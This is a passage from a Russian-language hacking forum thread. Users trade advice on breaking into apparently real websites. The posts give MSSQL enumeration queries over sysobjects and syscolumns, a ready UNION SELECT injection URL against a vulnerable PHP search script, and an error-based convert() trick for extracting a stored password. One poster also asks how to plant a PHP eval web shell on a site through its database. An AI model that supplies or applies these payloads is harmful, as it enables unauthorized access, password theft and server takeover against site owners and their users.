Огромное спасибо! Все прокатило, только использовал без use а через: database..sysobjects database..syscolumns Сейчас стала проблема в том, что не перебираются колонки. SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'users') Я дописал SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'users') AND name IN NOT ('userid') В ответ получаю: userid - первая колонка в таблице users Так-же не получилось вывести данные даже с этого поля userid Запрос имел вид: SELECT TOP 1 userid from [database]..[users] Ответ Если убрать кавычки то ответ меняется на: Попробовал загнать "users" в char - не получилось. просто для меня это загадка, которую ну никак не получается отгадать....Единственное что все-таки приходит в голову, это - не хватает прав. Хотя, если хватило на чтение database..sysobjects и database..syscolumns, то должно хватить прав и database.users...
Отписал в пм min7, во-первых, users это имя таблицы, а не строка, во-вторых 0x... в MSSQL работать не будет (нужны дополнительные конструкции на T-SQL)
Code: $text=$_POST['text']; $tr=$_POST['tr']; $tr_text=$_POST['tr_text']; if (empty($text)){echo"<div class=cont1>Введите ключевое слово!<br/></div><div class=menu><a href=\"search.php\">Назад</a></div>"; include "footer.php"; exit;} if($tr_text==1){include_once "trans.php"; $text=eng_to_rus($text);} //$text=strtolower($text); if($tr==1){ $arr=mysql_query("select uid,site_name,link,info,cat from `users` where info like '%$text%' ;"); } Возможно ли тут произвести SQL inj ? Меня просто вот это смущает Code: select uid,site_name,link,info,cat from `users` where info like '%$text%' ;
А как с LIKE быть? Пытаюсь подставит ' не выводит ни какой ошибки, т.е. производится поиск ковычки в БД. Пытался так Code: 'union+select+1-- и т.д. Чёт вообще мозг отказывается работать
.php?tr=1&text=%' and info = -1 union select 1,2,3,4,5--+ ЗЫ l1ght, я знаю что постом) есть плагины которые позволяют из строки браузера отправлять постом
Привет, почти повторяюсь. Растолкую поточнее Есть 2 сервера (2 разные машины) 1 с сайтом 2 с БД Есть доступ к БД А сайт использует эту БД Задача залить шелл на сайт через БД Если допустим в БД заношу <? eval(echo 1; ?> то на сайте так и выводит, не обрабатывая На сайте знаю полный путь.
Очень извеняюсь что не по теме, но я хочу поучиться искать уязвимости во всяких кмс и движках. Нужен совет какой двиг начать ковырять?) знаю что звучит глупо, но надеюсь что ктото посоветует=)
Скорей всего там на подобие этого Code: $sql=mysql_query("select * from `adad`"); echo "$sql"; Т.е. получается вот так Code: echo "<?php eval()?>"; Попробуй поиграй с ковычками... PS: я не эксперт, могу ошибится
Byrger хотя вряд ли там такое : Code: echo "<?php eval()?>"; может быть ,по моему только камикадзе будет так выводить текст ,который с вероятностью 70%(дело вкуса) будет содержать ". Скорей всего там стоит htmlspecialchars(); или тому подобные функции. Возьми ка найди в сорсе страницы ту часть где ты постил: Code: <? eval(echo 1;) ?> если там будет ,что то типа: Code: <? eval(echo 1;) ?> залей холодной водой.
Столкнулся с проблемой - не удается получить числовое значение строки. Из-за того что значение строки целое число(например, 1234567), то используя обыкновенную конструкцию SELECT TOP 1 password FROM - вытянуть ничего не получилось. В ответ дефолтная страница без скуля. Нашел, что это решается методом добавление чего-либо к числовым данным, перед этим переведенных в integer. Имеем такую конструкцию. SELECT TOP 1 convert(int, password%2b'test') FROM где в итоге, наш пароль должет отобразится как "1234567 test" Увы, заюзать - не получилось. В ответ получаю ошибку База mssql 2005. Друзья, очень прошу подсказать как с этим бороться! Спасибо!